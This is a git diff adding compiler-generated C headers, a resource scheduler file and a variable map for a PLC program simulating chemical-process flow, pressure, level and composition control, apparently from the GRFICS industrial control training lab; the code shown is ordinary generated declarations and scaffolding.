__DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; 